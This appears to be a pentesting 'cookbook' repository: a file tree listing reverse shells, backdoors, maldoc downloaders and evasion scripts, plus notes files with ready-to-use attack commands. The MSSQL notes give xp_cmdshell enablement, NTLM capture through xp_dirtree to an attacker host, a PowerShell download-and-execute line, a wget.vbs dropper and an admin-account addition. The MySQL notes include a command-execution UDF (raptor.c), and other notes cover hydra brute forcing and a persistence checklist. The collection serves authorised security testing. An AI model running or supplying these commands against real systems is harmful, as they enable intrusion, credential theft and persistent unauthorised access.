├── .gitignore
├── Notes.Checklist.txt
├── Notes.Exploits.txt
├── Notes.Helpers.txt
├── Notes.Wordlists.txt
├── README.md
├── Target.Host.OS.Linux.txt
├── Target.Host.OS.Shells.txt
├── Target.Host.OS.Windows.txt
├── Target.Host.Service.AD.txt
├── Target.Host.Service.AMQP.txt
├── Target.Host.Service.DB.MSSQL.txt
├── Target.Host.Service.DB.MySQL.txt
├── Target.Host.Service.DB.PostgreSQL.txt
├── Target.Host.Service.FTP.txt
├── Target.Host.Service.HTTP.txt
├── Target.Host.Service.IDENT.txt
├── Target.Host.Service.LDAP.txt
├── Target.Host.Service.MSRPC.txt
├── Target.Host.Service.NFS.txt
├── Target.Host.Service.POP3.txt
├── Target.Host.Service.RDP.txt
├── Target.Host.Service.RPC.txt
├── Target.Host.Service.SMB.txt
├── Target.Host.Service.SMTP.txt
├── Target.Host.Service.SNMP.txt
├── Target.Host.Service.SSH.txt
├── Target.Host.Service.TELNET.txt
├── Target.Host.Service.VNC.txt
├── Target.Host.Service.X11.txt
├── Target.Network.Pivoting.txt
├── Target.Network.Scanning.txt
├── Target.Network.Wireless.txt
├── Target.Recon.DNS.txt
├── Target.Recon.Dorks.txt
├── Target.Recon.OSINT.txt
├── bin
├── direnum_combo.sh
├── dns_cnames.sh
├── dns_resolve.sh
├── dns_transfer.sh
├── download_files.sh
├── download_int.sh
├── ftp_server.py
├── hexdecode.py
├── hexreverse.py
├── http_codes.sh
├── httpd.py
├── mac_oui.sh
├── mitm_toolkit.py
├── parse_gnmap.sh
├── ping.py
├── ping.sh
├── quote.py
├── scan_top.sh
├── snmp_enum.sh
├── snmp_public_hosts.sh
├── ssh_enum_malform.py
├── ssh_enum_time.py
├── tomcat_brute.py
├── vba_format.py
├── vbe_decoder.py
└── xor.py
└── snippets
├── html
└── smuggling.html
├── java
├── shells
│ ├── reverse
│ │ ├── reverse.jsp
│ │ ├── reverse_bash.java
│ │ └── reverse_php.java
│ └── web
│ │ └── webshell.jsp
└── utils
│ └── jenkins_console.groovy
├── linux
├── backdoors
│ ├── ssh_reconnect.sh
│ ├── suid_popen.c
│ └── suid_shell.c
├── maldocs
│ └── runner-1.c
├── shells
│ ├── bind
│ │ └── udp.sh
│ └── reverse
│ │ ├── reverse.c
│ │ └── reverse.pl
└── utils
│ ├── bruteforce.sh
│ ├── ld_preload.c
│ ├── persistence.py
│ ├── port_scanning1.sh
│ ├── ps_monitoring.sh
│ ├── python_pickle.py
│ └── so_injection.c
├── php
└── recursive_dir.php
├── python
└── port_scanning.py
├── windows
├── maldocs
│ ├── downloader-1.cs
│ ├── downloader-1.js
│ ├── downloader-1.ps1
│ ├── downloader-1.vba
│ ├── downloader-1.vbs
│ ├── downloader-1.xls
│ ├── downloader-2.js
│ ├── downloader-2.vba
│ ├── evasion-1.cs
│ ├── evasion-1.hta
│ ├── evasion-1.inf
│ ├── evasion-1.sct
│ ├── evasion-1.url
│ ├── evasion-1.wsf
│ ├── evasion-2.hta
│ ├── evasion-2.inf
│ ├── evasion-2.sct
│ ├── evasion-msxml.xml
│ ├── evasion-msxml.xsl
│ ├── ntlm-1.url
│ ├── ntlm-evasion-mssql-1.csproj
│ ├── runner-1.cs
│ ├── runner-1.ps1
│ └── runner-1.vba
├── shells
│ ├── bind
│ │ ├── PortListener.ps1
│ │ ├── web1.asp
│ │ ├── web2.asp
│ │ ├── web3.asp
│ │ └── web4.aspx
│ └── reverse
│ │ ├── reverse1.bat
│ │ ├── reverse1.cpp
│ │ ├── reverse1.cs
│ │ ├── reverse1.ps1
│ │ ├── reverse2.cpp
│ │ ├── reverse2.ps1
│ │ └── reverse_dll.c
└── utils
│ ├── DomainPasswordSpray.ps1
│ ├── Enable-Privilege.ps1
│ ├── GrabAndRun.ps1
│ ├── Invoke-Mimikatz-latest.ps1
│ ├── PortScanning.ps1
│ ├── Self-Elevate.ps1
│ ├── SharingIsCaring.ps1
│ ├── Start-WebServer.ps1
│ ├── SuperPing.ps1
│ ├── Win10FirewallRules.ps1
│ ├── WindowsEnum.ps1
│ ├── base64.vbs
│ ├── ftp.bat
│ ├── icacls.bat
│ ├── info.aspx
│ ├── mimikatz-Invoke-Mimikatz-obfuscate.sh
│ ├── mimikatz-clone-obfuscated.sh
│ ├── minidump.cs
│ ├── run_bat.c
│ ├── run_dll1.c
│ ├── run_dll2.cpp
│ ├── runas1.bat
│ ├── runas2.bat
│ ├── schcheck.bat
│ ├── tcpwrecovery.py
│ ├── update_invoke_mimikatz.py
│ ├── useradd.c
│ ├── wget_ps1.bat
│ ├── wget_vbs.bat
│ └── winscppassword.py
└── xml
└── xee.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 |
--------------------------------------------------------------------------------
/Notes.Checklist.txt:
--------------------------------------------------------------------------------
1 | -- Source: https://github.com/0xRadi/OWASP-Web-Checklist
2 |
3 | `` Steps
4 |
5 | - Malware Injection (Spear-Phish, Web Exploits, etc)
6 | - Reconnaissance (Internal)
7 | - Credential Theft
8 | - Exploitation & Privilege Escalation
9 | - Data Access & Exfiltration
10 | - Persistence (retaining access)
11 |
12 | `` Persistence
13 |
14 | - Process injection
15 | - Binary patching
16 | - Valid user accounts
17 | - Vulnerable script code
18 | - Avoid port binding
19 | - Use AT to run your commands
20 | - Good rootkit
21 | - Be noisy on one to divert attention from another
22 | - Change strategies to match environment's normal behavior
23 |
24 | `` Reconnaissance
25 |
26 | - Manually explore the site
27 | - Spider/crawl for missed or hidden content
28 | - Check for files that expose content, such as robots.txt, sitemap.xml, .DS_Store
29 | - Check the caches of major search engines for publicly accessible sites
30 | - Check for differences in content based on User Agent (eg, Mobile sites, access as a Search engine Crawler)
31 | - Perform Web Application Fingerprinting
32 | - Identify technologies used
33 | - Identify user roles
34 | - Identify application entry points
35 | - Identify client-side code
36 | - Identify multiple versions/channels (e.g. web, mobile web, mobile app, web services)
37 | - Identify co-hosted and related applications
38 | - Identify all hostnames and ports
39 | - Identify third-party hosted content
40 |
41 | `` Configuration
42 |
43 | - Check for commonly used application and administrative URLs
44 | - Check for old, backup and unreferenced files
45 | - Check HTTP methods supported and Cross Site Tracing (XST)
46 | - Test file extensions handling
47 | - Test for security HTTP headers (e.g. CSP, X-Frame-Options, HSTS)
48 | - Test for policies (e.g. Flash, Silverlight, robots)
49 | - Test for non-production data in live environment, and vice-versa
50 | - Check for sensitive data in client-side code (e.g. API keys, - credentials)
51 |
52 | `` Transmission
53 |
54 | - Check SSL Version, Algorithms, Key length
55 | - Check for Digital Certificate Validity (Duration, Signature and - CN)
56 | - Check credentials only delivered over HTTPS
57 | - Check that the login form is delivered over HTTPS
58 | - Check session tokens only delivered over HTTPS
59 | - Check if HTTP Strict Transport Security (HSTS) in use
60 |
61 | `` Authentication
62 |
63 | - Test for user enumeration
64 | - Test for authentication bypass
65 | - Test for bruteforce protection
66 | - Test password quality rules
67 | - Test remember me functionality
68 | - Test for autocomplete on password forms/input
69 | - Test password reset and/or recovery
70 | - Test password change process
71 | - Test CAPTCHA
72 | - Test multi factor authentication
73 | - Test for logout functionality presence
74 | - Test for cache management on HTTP (eg Pragma, Expires, Max-age)
75 | - Test for default logins
76 | - Test for user-accessible authentication history
77 | - Test for out-of channel notification of account lockouts and successful password changes
78 | - Test for consistent authentication across applications with shared authentication schema / SSO
79 |
80 | `` Sessions
81 |
82 | - Establish how session management is handled in the application (eg, tokens in cookies, token in URL)
83 | - Check session tokens for cookie flags (httpOnly and secure)
84 | - Check session cookie scope (path and domain)
85 | - Check session cookie duration (expires and max-age)
86 | - Check session termination after a maximum lifetime
87 | - Check session termination after relative timeout
88 | - Check session termination after logout
89 | - Test to see if users can have multiple simultaneous sessions
90 | - Test session cookies for randomness
91 | - Confirm that new session tokens are issued on login, role change and logout
92 | - Test for consistent session management across applications with shared session management
93 | - Test for session puzzling
94 | - Test for CSRF and clickjacking
95 |
96 | `` Authorization
97 |
98 | - Test for path traversal
99 | - Test for bypassing authorization schema
100 | - Test for vertical Access control problems (a.k.a. Privilege Escalation)
101 | - Test for horizontal Access control problems (between two users at the same privilege level)
102 | - Test for missing authorization
103 |
104 | `` Validation
105 |
106 | - Test for Reflected Cross Site Scripting
107 | - Test for Stored Cross Site Scripting
108 | - Test for DOM based Cross Site Scripting
109 | - Test for Cross Site Flashing
110 | - Test for HTML Injection
111 | - Test for SQL Injection
112 | - Test for LDAP Injection
113 | - Test for ORM Injection
114 | - Test for XML Injection
115 | - Test for XXE Injection
116 | - Test for SSI Injection
117 | - Test for XPath Injection
118 | - Test for XQuery Injection
119 | - Test for IMAP/SMTP Injection
120 | - Test for Code Injection
121 | - Test for Expression Language Injection
122 | - Test for Command Injection
123 | - Test for Overflow (Stack, Heap and Integer)
124 | - Test for Format String
125 | - Test for incubated vulnerabilities
126 | - Test for HTTP Splitting/Smuggling
127 | - Test for HTTP Verb Tampering
128 | - Test for Open Redirection
129 | - Test for Local File Inclusion
130 | - Test for Remote File Inclusion
131 | - Compare client-side and server-side validation rules
132 | - Test for NoSQL injection
133 | - Test for HTTP parameter pollution
134 | - Test for auto-binding
135 | - Test for Mass Assignment
136 | - Test for NULL/Invalid Session Cookie
137 |
138 | `` Denial of Service
139 |
140 | - Test for anti-automation
141 | - Test for account lockout
142 | - Test for HTTP protocol DoS
143 | - Test for SQL wildcard DoS
144 |
145 | `` Business Logic
146 |
147 | - Test for feature misuse
148 | - Test for lack of non-repudiation
149 | - Test for trust relationships
150 | - Test for integrity of data
151 | - Test segregation of duties
152 |
153 | `` Cryptography
154 |
155 | - Check if data which should be encrypted is not
156 | - Check for wrong algorithms usage depending on context
157 | - Check for weak algorithms usage
158 | - Check for proper use of salting
159 | - Check for randomness functions
160 |
161 | `` File Uploads
162 |
163 | - Test that acceptable file types are whitelisted
164 | - Test that file size limits, upload frequency and total file counts are defined and are enforced
165 | - Test that file contents match the defined file type
166 | - Test that all file uploads have Anti-Virus scanning in-place.
167 | - Test that unsafe filenames are sanitised
168 | - Test that uploaded files are not directly accessible within the web root
169 | - Test that uploaded files are not served on the same hostname/port
170 | - Test that files and other media are integrated with the authentication and authorisation schemas
171 |
172 | `` Payments
173 |
174 | - Test for known vulnerabilities and configuration issues on Web Server and Web Application
175 | - Test for default or guessable password
176 | - Test for non-production data in live environment, and vice-versa
177 | - Test for Injection vulnerabilities
178 | - Test for Buffer Overflows
179 | - Test for Insecure Cryptographic Storage
180 | - Test for Insufficient Transport Layer Protection
181 | - Test for Improper Error Handling
182 | - Test for all vulnerabilities with a CVSS v2 score > 4.0
183 | - Test for Authentication and Authorization issues
184 | - Test for CSRF
185 |
186 | `` HTML 5
187 |
188 | - Test Web Messaging
189 | - Test for Web Storage SQL injection
190 | - Check CORS implementation
191 | - Check Offline Web Application
192 |
--------------------------------------------------------------------------------
/Notes.Exploits.txt:
--------------------------------------------------------------------------------
1 | `` Fuzzing
2 |
3 | # TODO: Upload phazz sources
4 |
5 | ~$ phazz.py fuzz -h VAR_TARGET_HOST -p 69 -n 100 -l 3000 -s tftp:read -m char -d
6 | ~$ phazz.py fuzz -h VAR_TARGET_HOST -p 80 -n 100 -l 3000 -s http:get -m ascii -d
7 |
8 | `` Debuggers
9 |
10 | `` ASLR check
11 |
12 | ~$ cat /proc/sys/kernel/randomize_va_space
13 |
14 | `` Binary security check
15 |
16 | ~$ checksec
17 |
18 | `` Disassembling
19 |
20 | ~$ echo -ne '\xd3\xfe\x86\x7c' | ndisasm -b32 -
21 |
22 | `` Payloads
23 |
24 | `` Test string (2700)
25 |
26 | test_payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1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30 | bad_characters = (
31 | '\x00'
32 | '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10'
33 | '\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20'
34 | '\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30'
35 | '\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40'
36 | '\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50'
37 | '\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60'
38 | '\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70'
39 | '\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80'
40 | '\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90'
41 | '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0'
42 | '\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0'
43 | '\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0'
44 | '\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0'
45 | '\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0'
46 | '\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0'
47 | '\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
48 | )
49 |
50 | http = "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40"
51 | generic = "\x00\x0a\x0d\xff"
52 | ftp = "\x00\x0a\x0d\x2f\x5c"
53 |
54 | `` Pattern
55 |
56 | ~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
57 |
58 | ~$ phazz.py pattern -m ascii -l 2000
59 |
60 | `` Offset
61 |
62 | ~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2000 -q 68433568
63 |
64 | ~$ phazz.py pattern -m ascii -l 2000 -q 68433568
65 |
66 | `` nasm
67 |
68 | ~$ /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
69 | nasm > jmp eax
70 |
--------------------------------------------------------------------------------
/Notes.Wordlists.txt:
--------------------------------------------------------------------------------
1 | `` Passwords
2 |
3 | `` Fast bruteforcing with typical combinations and top lists
4 |
5 | - ~/lib/brutas/brutas-passwords-1-xxs.txt
6 | - /usr/share/seclists/Passwords/probable-v2-top1575.txt
7 | - /usr/share/seclists/Passwords/Common-Credentials/500-worst-passwords.txt
8 |
9 | `` Medium-weight, may generate too much traffic
10 |
11 | - ~/lib/brutas/brutas-passwords-2-xs.txt
12 | - ~/lib/brutas/brutas-passwords-3-s.txt
13 | - /usr/share/seclists/Passwords/probable-v2-top12000.txt
14 | - /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
15 |
16 | `` Heavy lists suitable for offline bruteforcing (> 300k)
17 |
18 | - ~/lib/brutas/brutas-passwords-4-m.txt
19 | - ~/lib/brutas/brutas-passwords-5-l.txt
20 | - ~/lib/brutas/brutas-passwords-6-xl.txt
21 | - /usr/share/seclists/Passwords/Leaked-Databases/md5decryptor-uk.txt
22 |
23 | `` Usernames
24 |
25 | - ~/lib/brutas/brutas-usernames-small.txt
26 | - ~/lib/brutas/brutas-usernames.txt
27 | - /usr/share/seclists/Usernames/top-usernames-shortlist.txt
28 | - /usr/share/wordlists/metasploit/unix_users.txt
29 | - /usr/share/seclists/Usernames/Names/names.txt
30 |
31 | `` Domains
32 |
33 | `` Light (< 4k)
34 |
35 | - ~/lib/brutas/brutas-subdomains-1-small.txt
36 | - /usr/share/seclists/Discovery/DNS/namelist.txt
37 | - /usr/share/dnsenum/dns.txt
38 |
39 | `` Heavy (> 100k)
40 |
41 | - ~/lib/brutas/brutas-subdomains-2-large.txt
42 | - /usr/share/seclists/Discovery/DNS/sortedcombined-knock-dnsrecon-fierce-reconng.txt
43 | - /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
44 | - /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
45 |
46 | `` Ports
47 |
48 | - ~/lib/brutas/brutas-ports-tcp-http.txt
49 | - ~/lib/brutas/brutas-ports-tcp-public.txt
50 | - ~/lib/brutas/brutas-ports-tcp-internal.txt
51 | - /usr/share/seclists/Discovery/Infrastructure/nmap-top1000-ports.txt
52 |
53 | `` HTTP paths
54 |
55 | - ~/lib/brutas/brutas-http-paths.txt
56 | - /usr/share/dirb/wordlists/common.txt
57 | - /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
58 | - /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
59 | - /usr/share/wfuzz/wordlist/vulns/cgis.txt
60 | - /usr/share/seclists/Discovery/Web-Content/CGIs.txt
61 | - /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt
62 | - /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt
63 |
64 | `` HTTP parameters
65 |
66 | - ~/lib/brutas/brutas-http-params.txt
67 | - /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
68 |
69 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # pentesting-cookbook
2 |
3 | > A set of recipes useful in pentesting and red teaming scenarios
4 |
5 | Snippets, code samples and hints used in penetration tests stored in a single repository so it can be quickly accessed and searched during the assessments.
6 |
7 | ## Structure
8 |
9 | - `bin` Handy utilities to be run locally
10 | - `snippets` All things useful to be run remotely, code snippets, examples etc
11 | - `Notes.*` All sort of helpers, lists and notes not necessarily related to specific service or stage
12 | - `Target.Host.OS.*` - Things that can be done once foothold is established
13 | - `Target.Host.Service.*` - Commands useful in enumeration and exploitation of particular service
14 | - `Target.Network.*` - Commands related to scanning and moving around networks
15 | - `Target.Recon.*` - Typical recon like DNS enumeration, OSINT etc.
16 |
17 | ## Formatting rules
18 |
19 | * If there are more than three levels of hierarchy the file needs to be split.
20 | * Sources (scripts) are located in the `snippets` directory (referenced by `@`).
21 | * Conventions:
22 | * `~` commands
23 | * `@` file references
24 | * `-` lists
25 | * `--` comments (above the commented line)
26 | * OS specific commands:
27 | * `~$` (Linux, defaults to Bash)
28 | * `~#` (Linux - root required)
29 | * `~>` (Windows)
30 | * Shell specific commands:
31 | * `~PS>` (Powershell)
32 | * Variables:
33 | * `VAR_ATTACKER_HOST`
34 | * `VAR_ATTACKER_PORT`
35 | * `VAR_TARGET_DOMAIN`
36 | * `VAR_TARGET_HOST`
37 | * `VAR_TARGET_PORT`
38 | * `VAR_TARGET_CIDR`
39 | * `VAR_TARGET_RANGE`
40 | * `VAR_TARGET_FILE`
41 | * `VAR_USERNAME`
42 | * `VAR_PASSWORD`
43 | * `VAR_NT_HASH`
44 | * `VAR_LM_HASH` (blank LM hash: aad3b435b51404eeaad3b435b51404ee)
45 | * `VAR_STRING`
46 | * `VAR_INTEGER`
47 | * `VAR_HEX`
48 | * `VAR_WORDLIST`
49 | * `VAR_WORDLIST_*` (`VAR_WORDLIST_USERNAME`, `VAR_WORDLIST_PASSWORD` etc)
50 | * `VAR_*_HOST` (`VAR_FTP_HOST`, `VAR_ZOMBIE_HOST`, `VAR_PROXY_HOST` etc)
51 |
--------------------------------------------------------------------------------
/Target.Host.Service.AMQP.txt:
--------------------------------------------------------------------------------
1 | `` RabbitMQ
2 |
3 | ~$ nmap -Pn -sV -p 5672 --script amqp-info VAR_TARGET_HOST
4 |
--------------------------------------------------------------------------------
/Target.Host.Service.DB.MSSQL.txt:
--------------------------------------------------------------------------------
1 | `` Scanning
2 |
3 | ~$ nmap VAR_TARGET_HOST -v -p 1433 -sV -Pn -vv --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password,ms-sql-tables
4 |
5 | `` Password Bruteforcing
6 |
7 | ~$ nmap -p 1433 --script ms-sql-brute --script-args userdb=VAR_WORDLIST_USER,passdb=VAR_WORDLIST_PASSWORD VAR_TARGET_HOST
8 | ~$ hydra -L VAR_WORDLIST_USER -V -P VAR_WORDLIST_PASSWORD VAR_TARGET_HOST mssql
9 |
10 | `` TDS Versions
11 |
12 | - 7.0
13 | - SQL Server 7.0
14 | - 7.1
15 | - SQL Server 2000
16 | - 7.1 Revision 1
17 | - SQL Server 2000 SP1
18 | - 7.2
19 | - SQL Server 2005
20 | - 7.3.A
21 | - SQL Server 2008
22 | - 7.3.B
23 | - SQL Server 2008 R2
24 | - 7.4
25 | - SQL Server 2012
26 | - SQL Server 2014
27 | - SQL Server 2016
28 | - SQL Server 2017
29 | - SQL Server 2019
30 |
31 | `` Remote console
32 |
33 | ~$ vim ~/.sqshrc
34 | ~$ sqsh -S mssql1
35 |
36 | `` Capturing NTLM
37 |
38 | > EXEC master..xp_dirtree "\\VAR_ATTACKER_HOST\\test";
39 |
40 | `` Change sa password
41 |
42 | ~> net stop MSSQL$SQLEXPRESS
43 | ~> net start MSSQL$SQLEXPRESS /m sqlcmd
44 | ~> sqlcmd
45 | > ALTER LOGIN [sa] WITH DEFAULT_DATABASE=[master]
46 | > GO
47 | > USE [master]
48 | > GO
49 | > ALTER LOGIN [sa] WITH CHECK_POLICY = OFF;
50 | > GO
51 | > ALTER LOGIN [sa] WITH PASSWORD=N'sa';
52 | > GO
53 | ~> net stop MSSQL$SQLEXPRESS
54 | ~> net start MSSQL$SQLEXPRESS
55 |
56 | `` Linked servers
57 |
58 | `` List
59 |
60 | > EXEC sp_linkedservers;
61 |
62 | `` Execute on linked server
63 |
64 | > SELECT version FROM OPENQUERY("VAR_TARGET_HOST", 'SELECT @@version AS version')
65 |
66 | `` Remote execution
67 |
68 | > EXEC ('sp_configure ''show advanced options'', 1; reconfigure;') AT VAR_TARGET_HOST
69 | > EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT VAR_TARGET_HOST
70 | > EXEC ('xp_cmdshell ''whoami'';') AT VAR_TARGET_HOST
71 |
72 | `` With metasploit
73 |
74 | > use auxiliary/admin/mssql/mssql_sql
75 | > set USERNAME VAR_USERNAME
76 | > set PASSWORD VAR_PASSWORD
77 | > set DOMAIN VAR_DOMAIN
78 | > set USE_WINDOWS_AUTHENT yes
79 | > set RHOSTS VAR_TARGET_HOST
80 | > set SQL "EXEC master..xp_dirtree '\\\\VAR_ATTACKER_HOST\\test'"
81 | > run
82 |
83 | `` xp_cmdshell
84 |
85 | `` The basic approach
86 |
87 | > exec sp_configure "show advanced options", 1
88 | > reconfigure
89 | > exec sp_configure "xp_cmdshell", 1
90 | > reconfigure
91 | > xp_cmdshell "whoami"
92 |
93 | `` Download and execute PowerShell
94 |
95 | > xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://VAR_TARGET_HOST/script.ps1\");"
96 |
97 | `` wget.vbs
98 |
99 | xp_cmdshell 'echo strUrl = WScript.Arguments.Item(0) > wget.vbs'
100 | go
101 | xp_cmdshell 'echo StrFile = WScript.Arguments.Item(1) >> wget.vbs'
102 | go
103 | xp_cmdshell 'echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs'
104 | go
105 | xp_cmdshell 'echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs'
106 | go
107 | xp_cmdshell 'echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs'
108 | go
109 | xp_cmdshell 'echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs'
110 | go
111 | xp_cmdshell 'echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs'
112 | go
113 | xp_cmdshell 'echo Err.Clear >> wget.vbs'
114 | go
115 | xp_cmdshell 'echo Set http = Nothing >> wget.vbs'
116 | go
117 | xp_cmdshell 'echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs'
118 | go
119 | xp_cmdshell 'echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs'
120 | go
121 | xp_cmdshell 'echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs'
122 | go
123 | xp_cmdshell 'echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs'
124 | go
125 | xp_cmdshell 'echo http.Open "GET",strURL,False >> wget.vbs'
126 | go
127 | xp_cmdshell 'echo http.Send >> wget.vbs'
128 | go
129 | xp_cmdshell 'echo varByteArray = http.ResponseBody >> wget.vbs'
130 | go
131 | xp_cmdshell 'echo Set http = Nothing >> wget.vbs'
132 | go
133 | xp_cmdshell 'echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs'
134 | go
135 | xp_cmdshell 'echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs'
136 | go
137 | xp_cmdshell 'echo strData = "" >> wget.vbs'
138 | go
139 | xp_cmdshell 'echo strBuffer = "" >> wget.vbs'
140 | go
141 | xp_cmdshell 'echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs'
142 | go
143 | xp_cmdshell 'echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs'
144 | go
145 | xp_cmdshell 'echo Next >> wget.vbs'
146 | go
147 | xp_cmdshell 'echo ts.Close >> wget.vbs'
148 | go
149 |
150 | `` Using sqsh
151 |
152 | ~$ cat ~/.freetds.conf
153 | [mssql1]
154 | host = VAR_TARGET_HOST
155 | port = 27900
156 | tds version = 8.0
157 | ~$ sqsh -S mssql1 -U sa
158 | > exec sp_configure "show advanced options", 1
159 | > go
160 | > reconfigure
161 | > go
162 | > exec sp_configure "xp_cmdshell", 1
163 | > go
164 | > reconfigure
165 | > go
166 | > xp_cmdshell "whoami"
167 | > go
168 | > xp_cmdshell "net user VAR_USERNAME VAR_PASSWORD /add"
169 | > xp_cmdshell "net localgroup administrators VAR_USERNAME /add"
170 |
--------------------------------------------------------------------------------
/Target.Host.Service.DB.MySQL.txt:
--------------------------------------------------------------------------------
1 | `` Scanning
2 |
3 | ~$ nmap -p 3306 -sV -Pn -vv --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-info,mysql-query,mysql-users,mysql-variables VAR_TARGET_HOST
4 |
5 | -- NOTE: mysql-enum is unreliable
6 |
7 | `` Password Bruteforcing
8 |
9 | ~$ hydra -V -t 4 -w 50 -f -l root -e nsr -P VAR_WORDLIST_PASSWORD mysql://VAR_TARGET_HOST
10 |
11 | -- With a list of targets
12 | ~$ hydra -V -t 4 -w 50 -f -l root -e nsr -P VAR_WORDLIST_PASSWORD -M VAR_TARGET_HOSTS mysql
13 |
14 | `` Dump
15 |
16 | ~$ mysqldump -h VAR_TARGET_HOST -u root -p --single-transaction --quick --lock-tables=false > dump.sql
17 |
18 | `` Extension upload
19 |
20 | SELECT @@plugin_dir;
21 |
22 | SELECT 0x7f454c...00000 into dumpfile "/var/lib/mysql/udf.so";
23 |
24 | CREATE function sys_eval returns string soname 'udf.so';
25 | SELECT * from mysql.func where name = 'sys_eval';
26 | SELECT sys_eval('dir');
27 | DROP function sys_eval;
28 |
29 | echo '' | xxd -ps | tr -d '\n'
30 |
31 | `` raptor.c
32 |
33 | #include
34 | #include
35 |
36 | enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
37 |
38 | typedef struct st_udf_args {
39 | unsigned int arg_count; // number of arguments
40 | enum Item_result *arg_type; // pointer to item_result
41 | char **args; // pointer to arguments
42 | unsigned long *lengths; // length of string args
43 | char *maybe_null; // 1 for maybe_null args
44 | } UDF_ARGS;
45 |
46 | typedef struct st_udf_init {
47 | char maybe_null; // 1 if func can return NULL
48 | unsigned int decimals; // for real functions
49 | unsigned long max_length; // for string functions
50 | char *ptr; // free ptr for func data
51 | char const_item; // 0 if result is constant
52 | } UDF_INIT;
53 |
54 | int do_cmd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
55 | {
56 | if (args->arg_count != 1)
57 | return(0);
58 | system(args->args[0]);
59 | return(0);
60 | }
61 |
62 | char do_cmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
63 | {
64 | return(0);
65 | }
66 |
67 |
68 | $ gcc -fPIC -g -c raptor.c
69 | $ gcc -g -shared -Wl,-soname,raptor.so -o raptor.so raptor.o -lc
70 | $ xxd -p -c `stat --format="%s" raptor.so` raptor.so
71 |
72 | mysql> SELECT '
3 |
29 |
30 |